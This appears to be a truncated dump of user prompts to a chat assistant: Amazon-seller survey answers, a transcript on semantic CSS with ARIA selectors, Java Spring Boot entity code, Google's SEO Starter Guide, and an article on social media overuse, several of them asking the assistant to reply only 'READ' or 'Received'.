successfully launch a profitable business on Amazon (without wasting time and money) with a minimum net profit of $10K - $100K per month.\n\n---\n\nFind a cool product.\n\n---\n\nThe hardest part is not to break down and quit everything when something goes wrong. Constantly learn, develop, and implement new tools.\n\n---\n\nChoosing the right product.\n\n---\n\nFinding the right product.\n\n---\n\nAchieving the result, the niche is saturated with competitors, new products need to be constantly launched.\n\n---\n\nAvailability of time and free investments.\n\n---\n\nChoose the right niche.\n\n---\n\nPsychological attitude and product selection.\n\n---\n\nTaking a risk with money.\n\nLaunching the first product from scratch and completing the process in the shortest possible time. In the process, you come across things that you\'ve never done before, which seem difficult, leading to constant internal resistance.\n\n---\n\nToday we registered an account on Amazon, created a company, and selected a product. And I felt fear. Fear that I made a mistake with the product, that something might not work out. We have determination and won\'t stop. I\'ll be scared, but I\'ll do it. I don\'t yet understand the reason for the fear and what\'s behind it.\n\n---\n\nLack of confidence in my abilities and past failures. The Amazon topic is completely new to me. I want to do every item and every step right. There are no "extra" finances for "testing."\n\n---\n\nI\'m not confident in myself (in terms of knowledge or lack thereof), I don\'t have support nearby, and in most cases, I always share my plans (ideas). This time, I\'m so afraid that someone might sow seeds of disbelief in me that I don\'t even tell anyone about my plans regarding Amazon.\n\n---\n\nChoosing the right product.\n\n---\n\nNot giving up when faced with difficulties. It seems like all niches are taken, and potential competitors have hundreds or thousands of reviews, leaving no room for me. I understand that launching and ramping up will take a lot of time, and in the end, failure is possible. The long time span from the start of product development to understanding whether the product works or not scares me and makes me feel discouraged. It becomes regretful to spend time that may not bring anything other than expenses.\n\n---\n\nThe first negative experience of working on Amazon. I wanted to go through normal and the best training for me at Seller Insiders, and I joined the program through a partnership. Thank you. I hoped that my husband would help and give money for promotion, but something happened, and he was deceived. Now I have to earn money on my own because there\'s no possibility of waiting. Your course is very useful, and I learned a lot about creating my own brand and logo. At the moment, my Amazon isn\'t moving because there\'s no money to start with. That\'s why I want to start another business that\'s faster and come back to Amazon. I\'m thinking of developing my brand in three directions. The first is growing microgreens, which brings in quick money and is a nice bonus to give people health (relevant after COVID). I haven\'t checked it yet, but this direction might be my entry into Amazon because starting a microgreen farm requires a lot of equipment to purchase. Of course, I will do this with Chinese suppliers, as you taught us.\n\n---\n\nHaving financial difficulties, in my case, it would be great to get an extension or access to the second level of your coaching if possible. The only small inconvenience is that it\'s 7 am, and everyone is getting ready for work and school, but thank you for making recordings.\n\n---\n\nI think the reason for achieving such results is that I don\'t have enough experience in finding good products and starting an online business.\n\n---\n\n1. Focusing on one thing, determination. 2) Doubts in selecting a team of specialists for rapid development ("personnel solve everything"). 3) Lack of confidence in my competitiveness in e-commerce.\n\n---\n\nWe\'re waiting for the product, and the thought of what if it doesn\'t sell scares us a bit. Therefore, we ask you to focus on the following points: 1. What steps need to be taken to get the first sales. 2. How to collaborate with a Tik Tok blogger. How to make the link correctly so that Amazon understands everything correctly. How to take into account these transitions to understand the conversion from this event. 3. Is it worth driving traffic from FB or Inst at the start of sales? 4. How to set up PPC advertising is covered in the training, so it would be interesting to have periodic reviews of advertising campaigns. 5. Should we use robots that track competitor bids and adjust ours accordingly? What robots do you recommend?\n\n---\n\nChoosing a product with which you can make such and larger amounts.\n\n---\n\nStarting and understanding the business.\n\n---\n\nFinding a product.\n\n---\n\nMy biggest question right now is how to balance my child and Amazon. I\'m already working on this with Irina during our personal sessions, but I\'m progressing very slowly because there\'s no help yet. I\'m sorry that I can\'t get the maximum from coaching because my speed is very slow, but I\'m still grateful for everything and crawling toward my goal. If you can organize a webinar on life balance and time management, I\'m sure I\'ll take something useful from there.\n\n---\n\nStrong distractibility, for some reason, it\'s hard to concentrate, as if there\'s a blocker, plus I want to do everything well, which will result in significant expenses, hence the fear of making a mistake.\n\n---\n\n---\n\nFor me, the hardest part is to convince myself that in 2023, there are still many opportunities to launch my product on Amazon, and z\n\nAssistant, please do not reply to anything yet to me, only reply to me with "READ"' -"this is an audio transcript of a video, it includes timestamps in the format of [0:00], please rewrite the text removing the timestamps and correcting any transcription errors, ensure that you rewrite the entire transcript:\n\n[0:00] we talk a lot about semantic HTML but[0:03] what about semantic CSS they're coming[0:05] up with good class names in CSS is[0:07] always a bit of a struggle it's maybe[0:09] one of the more infuriating things which[0:11] is why we have so many different naming[0:12] conventions and different approaches to[0:14] authoring CSS especially when it comes[0:16] to organization and dealing with[0:18] selectors so we can attempt to give[0:20] things meaning with names but of course[0:22] the class name doesn't have any real[0:24] meaning it's easy to get them wrong and[0:26] well of course things like this would[0:28] work just as well if you were to take[0:29] inspiration from my son and use a class[0:31] like big butt[0:37] wait no no[0:49] that's probably not the best idea in the[0:51] world and people might be a little bit[0:53] confused if they're working on that code[0:54] base and come along the your big butt[0:56] class there but of course if that class[0:58] was in your HTML that selector would[1:00] work perfectly fine but if somebody were[1:02] to randomly come across it they'd really[1:04] have no idea what you were actually[1:05] wanting to do with it and that's very[1:08] different from what we have with HTML[1:10] where we have things like our nav our[1:12] header or footer or aside we have[1:13] figures we have all sorts of things that[1:16] have actual meaning to them and even[1:18] sometimes getting those right or using[1:19] them in the right way can has a little[1:21] bit of wiggle room but for the most part[1:23] it really makes our lives a lot easier[1:25] now the semantics of those elements help[1:27] convey actual meaning to the browser and[1:29] assistive Technologies as well but it[1:31] also makes it easy for developers to be[1:33] a bit more consistent and know how[1:35] things are being used so with all of[1:36] that how can we take that idea of[1:38] semantics from HTML and use them in CSS[1:41] without having to go down the route of[1:43] only selecting things like our nav or[1:45] header or footer with element selectors[1:47] so to figure that out we're going to[1:48] jump into this example that I have up[1:50] right now and this was heavily inspired[1:52] by an article that Ben Myers recently[1:54] put out so I will be linking to that in[1:55] the description I'd strongly recommend[1:57] giving it a read and I'll also have some[1:59] other good links down in the description[2:01] related to this topic that helped me put[2:03] this video together so the idea here is[2:06] this is quite a common thing that you[2:08] might see we have a current page like[2:10] this one so we have you know a regular[2:12] navigation set up with our semantic HTML[2:14] but then we have this current page here[2:16] and then of course it highlights the[2:18] page we're on so we just you know when[2:20] you go through all your different pages[2:21] you know if I'm on my about page I'm[2:23] just moving that down to there then I'm[2:24] moving that down to there and maybe[2:26] you're using some sort of dynamic system[2:28] to be able to do this with however[2:29] you're authoring you know depends on[2:31] your Tech stack and all of that but[2:32] we're highlighting the current page and[2:34] if we come back to the Styles here I've[2:36] just done this where I'm my nav link[2:38] that has a current page I've given it a[2:40] background color we're not doing[2:41] anything fancy here there's other ways[2:43] of doing this but a nice simple setup we[2:45] have a hover color for the regular one[2:47] and then we have this one one that has[2:49] the darker color and I've boosted[2:50] specificity on it to make sure that it's[2:52] working so if I hover on top of that one[2:54] we don't get the color changing nothing[2:56] too fancy but the one problem here is if[2:58] we come back to here we we've used our[3:00] nav here we've used a list here we're[3:01] using semantic elements but we're not[3:04] actually using anything semantic to link[3:06] into we're not we're not giving any[3:08] extra context to what the current page[3:10] is even though there is a way to do that[3:12] and the way to do that is an area[3:14] current equals page and by doing that[3:18] we're helping assistive Technologies get[3:20] the same hint that this is doing[3:22] visually on the page right here so right[3:25] away that's a good start but now I'm I[3:28] have this here and then I have the[3:30] current page here and that means if I go[3:33] and that you know I want to do my about[3:34] page now well that means I need to move[3:36] this thing here over down to here and[3:39] then I also need to remove this from[3:41] that link here and I do move that down[3:43] to the link here and there's a lot that[3:45] could potentially go wrong in having to[3:48] you know it's extra maintenance for[3:50] nothing it's kind of annoying on that[3:51] front and this is just some random class[3:54] that I've assigned to here this could[3:56] have been big butt like we mentioned[3:57] before and I could have it do the exact[3:59] same thing whereas this actually carries[4:01] meaning to it so if this actually[4:04] carries meaning to it and this is[4:05] actually saying this is the current page[4:07] that we're on right now well I could[4:09] hook into that with CSS so instead of[4:12] doing nav link current page like this I[4:14] could take this let's turn this into an[4:16] attribute selector by putting some[4:17] square brackets around it let's delete[4:19] what's in there and put in my area[4:21] current is equal to page[4:25] and hit save on that and now you can see[4:28] that it's still working and if we come[4:29] back to here and we delete this current[4:31] page from here and hit save[4:34] everything is still working perfectly[4:35] fine and what we've done here is[4:37] actually create a semantic CSS selector[4:39] we're using the semantics that we had in[4:41] our HTML without you know you could[4:43] select a nav a UL things like that but[4:45] we're linking into another level of[4:47] semantics and we're bringing that in[4:49] here to help style our page and that[4:52] means that things have to be done[4:53] properly from accessibility standpoint[4:55] to be able to style things so we're sort[4:57] of enforcing accessibility by doing this[5:00] as well because now if I go to my about[5:01] page it's broken because my about page[5:04] had it the old way[5:06] and I did this the old-fashioned way[5:08] with just some regular old C HTML on[5:11] every page so of course then this would[5:13] have to be removed and we do an area[5:15] current is equal to page right here and[5:18] now that's fixed and we have this[5:20] working across our pages and to be able[5:22] to do something like this requires[5:24] literally the exact same amount of work[5:27] as it would have required before the[5:29] only difference is it's a few extra[5:30] characters but the advantage is we're[5:32] bringing in[5:33] the accessibility component of it here[5:36] and we're just hooking into that with[5:38] our style sheet and how we're doing our[5:40] CSS right here to look at more examples[5:42] of types of things you can do with this[5:44] one I've looked at many times before is[5:46] using things like area expanded on[5:48] buttons for styling things like a[5:50] navigation whether it's opened or closed[5:52] so if we take a look at this when you're[5:55] doing it I have my button that's right[5:58] here we have an area expanded a false on[6:00] there and when it opens that gets[6:02] switched over to true so the JavaScript[6:04] is switching that back and forth between[6:06] the two of them but that means I can[6:08] hook in and I can style things from the[6:10] menu being open and what the menu looks[6:12] like to how my button is created and[6:15] everything using those selectors right[6:17] there another example could be down here[6:20] if you have a tabs system like this[6:22] where we can switch between different[6:24] tabs I could have everything controlled[6:27] through my area roles here that I'm[6:29] using for my tab list and things like[6:31] this that we should be setting up if[6:33] we're doing things this way so my tab[6:35] list is being set up through the role[6:37] I'm not coming up with a class and[6:38] having the role on there each tab is[6:41] being styled through that my tab panel[6:43] area selected is all coming together[6:46] here so when it's selected I'm changing[6:48] the style of it as I'm coming through on[6:50] those and if you're new to things like[6:52] this and you're not sure about them[6:53] anytime you're looking something up it's[6:55] very easy to do a nice quick search for[6:57] example let's say you need to make us an[6:59] on off switch for something you can just[7:01] do one for a11y switch and you can see I[7:04] was looking that up recently which is[7:06] why it's top of mind and you'll see lots[7:08] of different things that come up on it[7:09] and you can do some further reading on[7:11] it where a lot of the time they give you[7:13] code examples of what things are going[7:15] to look like including things like roles[7:18] that you might need to include so we[7:19] have the role of switch that are coming[7:21] on a few of these you'll see there's no[7:23] area anything but we do have the role of[7:24] switch there's other things that do come[7:26] up with these types of elements when[7:28] we're trying to make interactive[7:29] elements as accessible as possible and[7:31] that helps us hook into those with our[7:33] CSS and it helps us make our CSS[7:36] semantic as well and often the general[7:38] rule of area is don't use area if you[7:40] don't have to so just using your nav[7:42] your head or your footer things like[7:43] that are the right thing to do but as[7:45] soon as you are getting into more[7:46] complex things there are usually things[7:49] that you need to take into account and[7:51] it is really advantageous because it[7:53] makes it a lot easier to hook into[7:54] because an area selected true is nice[7:57] and you know you're not stuck thinking[7:59] do I need a tab tab opened or something[8:02] or is it opened or do I give this active[8:05] like what name do I give it you don't[8:06] have the whole worrying about how you[8:08] name things goes out the window it's[8:10] already handled for us we're good to go[8:11] and if you enjoyed this video and it[8:13] gave you a few thoughts I'd really[8:15] recommend checking out the articles that[8:16] you can see in the description that go[8:18] into a lot more detail and on a few of[8:20] the different patterns that you're[8:21] seeing here and if you're looking for[8:22] more video content I have looked at[8:24] another excessive ability issue that is[8:26] I see coming up all the time which is[8:28] the misuse of heading levels in putting[8:30] together websites and apps so if you're[8:32] curious about that that video is right[8:34] here for your viewing pleasure and with[8:35] that I would really like to thank my[8:37] enablers of awesome Jen Johnny Michael[8:39] Patrick Simon and Tim as well as all my[8:41] other patrons for their monthly support[8:42] and of course until next time don't[8:44] forget to make your corn on the internet[8:45] just a little bit more awesome" -'Sample project Rest API. \n\nWrite the above accordingly. \n\n @GetMapping("/partMatrix/generators")\n public ResponseEntity> getAllPartMatrixGenerators() {\n List list = generatorService.findAllPartMatrixGenerators();\n return new ResponseEntity>(list, HttpStatus.OK);\n }\n\n public List findAllPartMatrixGenerators() {\n return generatorRepository.findAllPartMatrixGenerators();\n }\n\n @SuppressWarnings("unchecked")\n public List findAllPartMatrixGenerators() {\n return (List)entityManager.createQuery(\n "FROM Generator " +\n "WHERE lower(partFeatureMatrixFlag) = \'y\' " +\n "AND lower(status) = \'active\' " +\n "ORDER BY generatorId")\n .getResultList();\n }\n\npackage com.mentor.authex.dbmodel;\n\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Set;\n\nimport javax.persistence.CascadeType;\nimport javax.persistence.CollectionTable;\nimport javax.persistence.Column;\nimport javax.persistence.ElementCollection;\nimport javax.persistence.Entity;\nimport javax.persistence.FetchType;\nimport javax.persistence.GeneratedValue;\nimport javax.persistence.GenerationType;\nimport javax.persistence.Id;\nimport javax.persistence.JoinColumn;\nimport javax.persistence.JoinTable;\nimport javax.persistence.ManyToMany;\nimport javax.persistence.OneToMany;\nimport javax.persistence.OneToOne;\nimport javax.persistence.SequenceGenerator;\nimport javax.persistence.Table;\n\nimport org.hibernate.annotations.Fetch;\nimport org.hibernate.annotations.FetchMode;\nimport org.hibernate.annotations.NotFound;\nimport org.hibernate.annotations.NotFoundAction;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.context.annotation.Lazy;\n\nimport com.fasterxml.jackson.annotation.JsonIdentityInfo;\nimport com.fasterxml.jackson.annotation.JsonIgnore;\nimport com.fasterxml.jackson.annotation.JsonIgnoreProperties;\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.annotation.JsonInclude.Include;\nimport com.fasterxml.jackson.annotation.ObjectIdGenerators;\n\nimport lombok.Getter;\nimport lombok.Setter;\nimport lombok.ToString;\n@ToString\n@Getter\n@Setter\n@Lazy\n@Entity\n@JsonIgnoreProperties({ "hibernateLazyInitializer", "handler" })\n@JsonIdentityInfo(generator = ObjectIdGenerators.PropertyGenerator.class, property = "generatorId")\n@Table(name="LC\\_ATHX\\_GENERATOR")\n@JsonInclude(Include.NON\\_NULL)\npublic class Generator {\n final static Logger log = LoggerFactory.getLogger(Generator.class);\n\n @Id\n @SequenceGenerator(name="ATHX\\_GENERATOR\\_SEQ",sequenceName="ATHX\\_GENERATOR\\_SEQ", allocationSize = 1)\n @GeneratedValue(strategy=GenerationType.SEQUENCE, generator="ATHX\\_GENERATOR\\_SEQ")\n @Column(name = "GENERATOR\\_ID", nullable=false)\n private Long generatorId;\n\n @Column(name = "GENERATOR\\_DETAILS\\_ID", nullable=false, insertable=false, updatable=false)\n private Long generatorDetailsId;\n\n @Column(name = "NAME", nullable=false)\n private String name;\n\n //@Column(name = "ACTIVE\\_FLAG", nullable=false)\n //private String activeFlag;\n\n @Column(name = "STATUS", nullable=false)\n private String status;\n\n @Column(name = "GENERATOR\\_DESCRIPTION", nullable=false)\n private String generatorDescription;\n\n// @Deprecated\n// @Column(name = "EBASE\\_GENERATOR\\_NAME", nullable=false)\n// private String ebaseGeneratorName;\n \n @Column(name = "GENERATOR\\_TYPE", nullable=false)\n private String generatorType;\n \n //@Column(name = "AUTHEX\\_GENERATOR\\_TYPE", nullable=false)\n //private String authexGeneratorType;\n\n @Column(name = "PART\\_FEATURE\\_MATRIX\\_FLAG")\n private String partFeatureMatrixFlag;\n\n @Column(name = "DAEMON", nullable=true)\n private String daemon;\n\n @Column(name = "DEFAULT\\_SERVER\\_PORT", nullable=true)\n private String defaultServerPort;\n\n @Column(name = "SUPERSEDE\\_FLAG", nullable=true)\n private char supersedeFlag = \'N\';\n\n @ManyToMany(fetch = FetchType.EAGER)\n @JoinTable(name = "LC\\_ATHX\\_GENERATOR\\_SUPERSEDE",\n joinColumns = @JoinColumn(name = "GENERATOR\\_ID"),\n inverseJoinColumns = @JoinColumn(name = "ATTRIBUTE\\_ID"))\n private Set supersedeGroupBy = new HashSet<>();\n\n @Column(name = "GENERATOR\\_ALIAS\\_NAMES")\n private String gneratorAliasNames;\n\n @Column(name = "NOTES")\n private String notes;\n\n /\\*\\*\n \\* Retrieves the related FeatureVersions.\n \\* This is a 1:M Bidirectional relationship.\n \\*\n \\*/\n @OneToMany(mappedBy="generator")\n @JsonIgnore\n private List featureVersions;\n\n /\\*\\*\n \\* Retrieves the related FlexPrefixLookup objects.\n \\* This is a M:N Bidirectional relationship.\n \\*\n \\*/\n @ManyToMany\n @JoinTable(name = "LC\\_ATHX\\_GENERATOR\\_FP\\_LOOKUP", joinColumns = {@JoinColumn(name = "GENERATOR\\_ID") }, inverseJoinColumns = { @JoinColumn(name = "HOSTID\\_TYPE")})\n @JsonIgnore\n private List flexPrefixes;\n\n /\\*\\*\n \\* Retrieves the related LicenseType objects.\n \\* This is a M:N Bidirectional relationship.\n \\*\n \\*/\n @ManyToMany\n @JoinTable(name = "LC\\_ATHX\\_GENERATOR\\_LICENSE\\_TYPE", joinColumns = {@JoinColumn(name = "GENERATOR\\_ID") }, inverseJoinColumns = { @JoinColumn(name = "LICENSE\\_TYPE\\_ID")})\n private List licenseTypes;\n\n \n //======= Input license file =======\n @Column(name = "INPUT\\_LICENSE\\_FILE\\_TYPE\\_ID", nullable=true, insertable=false, updatable=false)\n private Long inputLicenseFileTypeId;\n\n //Owner of the one-to-one relationship\n @OneToOne(fetch = FetchType.EAGER)\n @JsonIgnoreProperties({"hibernateLazyInitializer", "handler"})\n @JoinColumn(name = "INPUT\\_LICENSE\\_FILE\\_TYPE\\_ID", referencedColumnName = "LICENSE\\_FILE\\_TYPE\\_ID")\n @Fetch(FetchMode.SELECT)\n //@NotFound(action=NotFoundAction.IGNORE)\n private LicenseFileType inputLicenseFileType;\n\n //======= Output license file =======\n @Column(name = "OUTPUT\\_LICENSE\\_FILE\\_TYPE\\_ID", nullable=true, insertable=false, updatable=false)\n private Long outputLicenseFileTypeId;\n\n @OneToOne(fetch = FetchType.EAGER)\n @JsonIgnoreProperties({"hibernateLazyInitializer", "handler"})\n @JoinColumn(name = "OUTPUT\\_LICENSE\\_FILE\\_TYPE\\_ID", referencedColumnName = "LICENSE\\_FILE\\_TYPE\\_ID")\n @Fetch(FetchMode.SELECT)\n //@NotFound(action=NotFoundAction.IGNORE)\n private LicenseFileType outputLicenseFileType;\n\n /\\*\\*\n \\* Retrieves the related PackageVersions.\n \\* This is a 1:M Bidirectional relationship.\n \\*\n \\*/\n @OneToMany(mappedBy="generator")\n @JsonIgnore\n private List packageVersions;\n //Owner of the one-to-one relationship\n @OneToOne(cascade = CascadeType.ALL, fetch = FetchType.EAGER)\n @JsonIgnoreProperties({"hibernateLazyInitializer", "handler"})\n @JoinColumn(name = "GENERATOR\\_DETAILS\\_ID", referencedColumnName = "ID")\n @Fetch(FetchMode.SELECT)\n @NotFound(action=NotFoundAction.IGNORE)\n private GeneratorDetails generatorDetails;\n @ManyToMany(fetch = FetchType.EAGER)\n @JoinTable(name = "LC\\_ATHX\\_GENERATOR\\_HOSTSERVER",\n joinColumns = { @JoinColumn(name = "GENERATOR\\_ID") },\n inverseJoinColumns = { @JoinColumn(name = "HOST\\_SERVER\\_TYPES\\_ID") })\n //@JsonIgnore\n private Set hostServerTypes = new HashSet<>();\n @ManyToMany(fetch = FetchType.EAGER)\n @JoinTable(name = "LC\\_ATHX\\_GENERATOR\\_ATTRIBUTE",\n joinColumns = { @JoinColumn(name = "GENERATOR\\_ID") },\n inverseJoinColumns = { @JoinColumn(name = "ATTRIBUTE\\_ID") })\n //@JsonIgnore\n private Set attributeType = new HashSet<>();\n @OneToMany(mappedBy = "generator", cascade=CascadeType.MERGE, fetch = FetchType.LAZY)\n //@JsonIgnore\n private List generatorComment = new ArrayList();\n @OneToMany(mappedBy = "generator", cascade=CascadeType.ALL, fetch = FetchType.LAZY)\n //@JsonIgnore\n private List generatorAttachment = new ArrayList();\n\n @OneToMany(mappedBy = "generator", cascade=CascadeType.ALL, fetch = FetchType.LAZY)\n private List athxFyDataList = new ArrayList();\n \n @Column(name = "CREATE\\_DATE", nullable=false)\n private Date createDate;\n\n @Column(name = "MODIFY\\_DATE", nullable=false)\n private Date modifyDate;\n\n}\n @PersistenceContext\n private EntityManager entityManager;\n\npackage com.mentor.authex;\nimport java.util.Arrays;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.boot.CommandLineRunner;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.EnableAutoConfiguration;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.boot.builder.SpringApplicationBuilder;\nimport org.springframework.boot.web.servlet.support.SpringBootServletInitializer;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.ComponentScan;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.context.annotation.PropertySource;\nimport org.springframework.scheduling.annotation.EnableScheduling;\nimport org.springframework.web.client.RestTemplate;\n@Configuration\n@EnableAutoConfiguration\n@SpringBootApplication\n@EnableScheduling\n@ComponentScan(basePackages = "com.mentor.authex,com.disw.\\*")\n@PropertySource(value = {\n"${config-file-path}/authex.properties"})\npublic class Application extends SpringBootServletInitializer {\n\n static final Logger log = LoggerFactory.getLogger(Application.class);\n\n @Override\n protected SpringApplicationBuilder configure(SpringApplicationBuilder application) {\n log.debug("In configure()");\n\n //TimeZone.setDefault(TimeZone.getTimeZone("America/Los\\_Angeles"));\n return application.sources(Application.class);\n }\n\n @Bean\n public CommandLineRunner commandLineRunner(ApplicationContext ctx) {\n return args -> {\n log.debug("Let\'s inspect the beans provided by Spring Boot:");\n String[] beanNames = ctx.getBeanDefinitionNames();\n Arrays.sort(beanNames);\n for (String beanName : beanNames) {\n log.debug(beanName);\n }\n };\n }\n\n @Bean\n public RestTemplate restTemplate() {\n return new RestTemplate();\n }\n\n// @Bean\n// @Primary\n// @ConfigurationProperties(prefix = "datasource.primary")\n// public DataSource numberMasterDataSource() {\n// return DataSourceBuilder.create().build();\n// }\n//\n// @Bean\n// @ConfigurationProperties(prefix = "datasource.secondary")\n// public DataSource provisioningDataSource() {\n// return DataSourceBuilder.create().build();\n// }\n\n /\\*\\*\n \\*\n \\* @param args\n \\* @throws Exception\n \\*/\n public static void main(String[] args) throws Exception {\n log.debug("In main()");\n SpringApplication.run(Application.class, args);\n }\n\n}' -"Search Engine Optimization (SEO) Starter Guide\nWho is this guide for?\nIf you own, manage, monetize, or promote online content via Google Search, this guide is meant for you. You might be the owner of a growing and thriving business, the website owner of a dozen sites, the SEO specialist in a web agency or a DIY SEO expert passionate about the mechanics of Search: this guide is meant for you. If you're interested in having a complete overview of the basics of SEO according to our best practices, you are indeed in the right place. This guide won't provide any secrets that'll automatically rank your site first in Google (sorry!), but following the best practices will hopefully make it easier for search engines to crawl, index, and understand your content.\n\nSearch engine optimization (SEO) is often about making small modifications to parts of your website. When viewed individually, these changes might seem like incremental improvements, but when combined with other optimizations, they could have a noticeable impact on your site's user experience and performance in organic search results. You're likely already familiar with many of the topics in this guide, because they're essential ingredients for any web page, but you may not be making the most out of them.\n\nYou should build a website to benefit your users, and gear any optimization toward making the user experience better. One of those users is a search engine, which helps other users discover your content. SEO is about helping search engines understand and present content. Your site may be smaller or larger than our example site and offer vastly different content, but the optimization topics in this guide apply to sites of all sizes and types. We hope our guide gives you some fresh ideas on how to improve your website, and we'd love to hear your questions, feedback, and success stories in the Google Search Central Help Community.\n\nGetting started\nGlossary\nHere's a short glossary of important terms used in this guide:\n\nIndex - Google stores all web pages that it knows about in its index. The index entry for each page describes the content and location (URL) of that page. To index is when Google fetches a page, reads it, and adds it to the index: Google indexed several pages on my site today.\nCrawl - The process of looking for new or updated web pages. Google discovers URLs by following links, by reading sitemaps, and by many other means. Google crawls the web, looking for new pages, then indexes them (when appropriate).\nCrawler - Automated software that crawls (fetches) pages from the web and indexes them.\nGooglebot - The generic name of Google's crawler. Googlebot crawls the web constantly.\nSEO - Search engine optimization: the process of making your site better for search engines. Also the job title of a person who does this for a living: We just hired a new SEO to improve our presence on the web.\nAre you on Google?\nDetermine whether your site is in Google's index\nDo a site: search for your site's home URL. If you see results, you're in the index. For example, a search for site:wikipedia.org returns these results.\n\nThe site: operator doesn't necessarily return all the URLs that are indexed under the prefix specified in the query. Learn more about the site: operator.\nIf your site isn't in Google\nAlthough Google crawls billions of pages, it's inevitable that some sites will be missed. When our crawlers miss a site, it's frequently for one of the following reasons:\n\nThe site isn't well connected from other sites on the web\nYou've just launched a new site and Google hasn't had time to crawl it yet\nThe design of the site makes it difficult for Google to crawl its content effectively\nGoogle received an error when trying to crawl your site\nYour policy blocks Google from crawling the site\nHow do I get my site on Google?\nGoogle is a fully automated search engine that uses web crawlers to explore the web constantly, looking for sites to add to our index; you usually don't even need to do anything except post your site on the web. In fact, the vast majority of sites listed in our results aren't manually submitted for inclusion, but found and added automatically when we crawl the web. Learn how Google discovers, crawls, and serves web pages.\n\nThe Search Essentials outline the most important elements of building a Google-friendly website. While there's no guarantee that our crawlers will find a particular site, following the Search Essentials can help make your site appear in our search results.\n\nGoogle Search Console provides tools to help you submit your content to Google and monitor how you're doing in Google Search. If you want, Search Console can even send you alerts on critical issues that Google encounters with your site. Sign up for Search Console.\n\nHere are a few basic questions to ask yourself about your website when you get started.\n\nIs my website showing up on Google?\nDo I serve high-quality content to users?\nIs my local business showing up on Google?\nIs my content fast and easy to access on all devices?\nIs my website secure?\nDo you need an SEO expert?\nAn SEO expert is someone trained to improve your visibility on search engines. By following this guide, you'll learn enough to be well on your way to an optimized site. In addition to that, you may want to consider hiring an SEO professional that can help you audit your pages.\n\nDeciding to hire an SEO is a big decision that can potentially improve your site and save time. Make sure to research the potential advantages of hiring an SEO, as well as the damage that an irresponsible SEO can do to your site. Many SEOs and other agencies and consultants provide useful services for website owners, including:\n\nReview of your site content or structure\nTechnical advice on website development: for example, hosting, redirects, error pages, use of JavaScript\nContent development\nManagement of online business development campaigns\nKeyword research\nSEO training\nExpertise in specific markets and geographies\nBefore beginning your search for an SEO, it's a great idea to become an educated consumer and get familiar with how search engines work. We recommend going through the entirety of this guide and specifically these resources:\n\nHow Google crawls, indexes and serves the web\nSearch Essentials\nHow to hire an SEO\nIf you're thinking about hiring an SEO, the earlier the better. A great time to hire is when you're considering a site redesign, or planning to launch a new site. That way, you and your SEO can ensure that your site is designed to be search engine-friendly from the bottom up. However, a good SEO can also help improve an existing site.\n\nFor a detailed rundown on the need for hiring an SEO and what things to look out for, you can read Do you need an SEO.\n\nHelp Google find your content\nThe first step to getting your site on Google is to be sure that Google can find it. The best way to do that is to submit a sitemap. A sitemap is a file on your site that tells search engines about new or changed pages on your site. Learn more about how to build and submit a sitemap.\n\nGoogle also finds pages through links from other pages. Learn how to encourage people to discover your site by Promoting your site.\n\nTell Google which pages you don't want crawled\nFor non-sensitive information, block unwanted crawling by using robots.txt\nA robots.txt file tells search engines whether they can access and therefore crawl parts of your site. This file, which must be named robots.txt, is placed in the root directory of your site. It is possible that pages blocked by robots.txt can still be crawled, so for sensitive pages, use a more secure method.\n# brandonsbaseballcards.com/robots.txt\n# Tell Google not to crawl any URLs in the shopping cart or images in the icons folder,\n# because they won't be useful in Google Search results.\nUser-agent: googlebot\nDisallow: /checkout/\nDisallow: /icons/\nYou may not want certain pages of your site crawled because they might not be useful to users if found in a search engine's search results. Note that if your site uses subdomains and you wish to have certain pages not crawled on a particular subdomain, you'll have to create a separate robots.txt file for that subdomain. For more information on robots.txt, we suggest this guide on using robots.txt files.\n\nRead about several other ways to prevent content from appearing in search results.\n\nAvoid:\n\nLetting your internal search result pages be crawled by Google. Users dislike clicking a search engine result only to land on another search result page on your site.\nAllowing URLs created as a result of proxy services to be crawled.\nFor sensitive information, use more secure methods\nA robots.txt file is not an appropriate or effective way of blocking sensitive or confidential material. It only instructs well-behaved crawlers that the pages are not for them, but it does not prevent your server from delivering those pages to a browser that requests them. One reason is that search engines could still reference the URLs you block (showing just the URL, no title link or snippet) if there happen to be links to those URLs somewhere on the Internet (like referrer logs). Also, non-compliant or rogue search engines that don't acknowledge the Robots Exclusion Standard could disobey the instructions of your robots.txt. Finally, a curious user could examine the directories or subdirectories in your robots.txt file and guess the URL of the content that you don't want seen.\n\nIn these cases, use the noindex tag if you just want the page not to appear in Google, but don't mind if any user with a link can reach the page. For real security, use proper authorization methods, like requiring a user password, or taking the page off your site entirely." -'Next paragraph:\n(Respond with "Received" when it is received. Do not provide any other text.)\nWhat’s driving your social media use?\nThese days, most of us access social media via our smartphones or tablets. While this makes it very convenient to keep in touch, it also means that social media is always accessible. This round-the-clock, hyper connectivity can trigger impulse control problems, the constant alerts and notifications affecting your concentration and focus, disturbing your sleep, and making you a slave to your phone.\n\nSocial media platforms are designed to snare your attention, keep you online, and have you repeatedly checking your screen for updates. It’s how the companies make money. But, much like a gambling compulsion or an addiction to nicotine, alcohol, or drugs, social media use can create psychological cravings. When you receive a like, a share, or a favorable reaction to a post, it can trigger the release of dopamine in the brain, the same “reward” chemical that follows winning on a slot machine, taking a bite of chocolate, or lighting up a cigarette, for example. The more you’re rewarded, the more time you want to spend on social media, even if it becomes detrimental to other aspects of your life.\n\nOther causes of unhealthy social media use\nA fear of missing out (FOMO) can keep you returning to social media over and over again. Even though there are very few things that can’t wait or need an immediate response, FOMO will have you believing otherwise. Perhaps you’re worried that you’ll be left out of the conversation at school or work if you miss the latest news or gossip on social media? Or maybe you feel that your relationships will suffer if you don’t immediately like, share, or respond to other people’s posts? Or you could be worried you’ll miss out on an invitation or that other people are having a better time than you.\n\nMany of us use social media as a “security blanket”. Whenever we’re in a social situation and feel anxious, awkward, or lonely, we turn to our phones and log on to social media. Of course, interacting with social media only denies you the face-to-face interaction that can help to ease anxiety.\n\nYour heavy social media use could be masking other underlying problems, such as 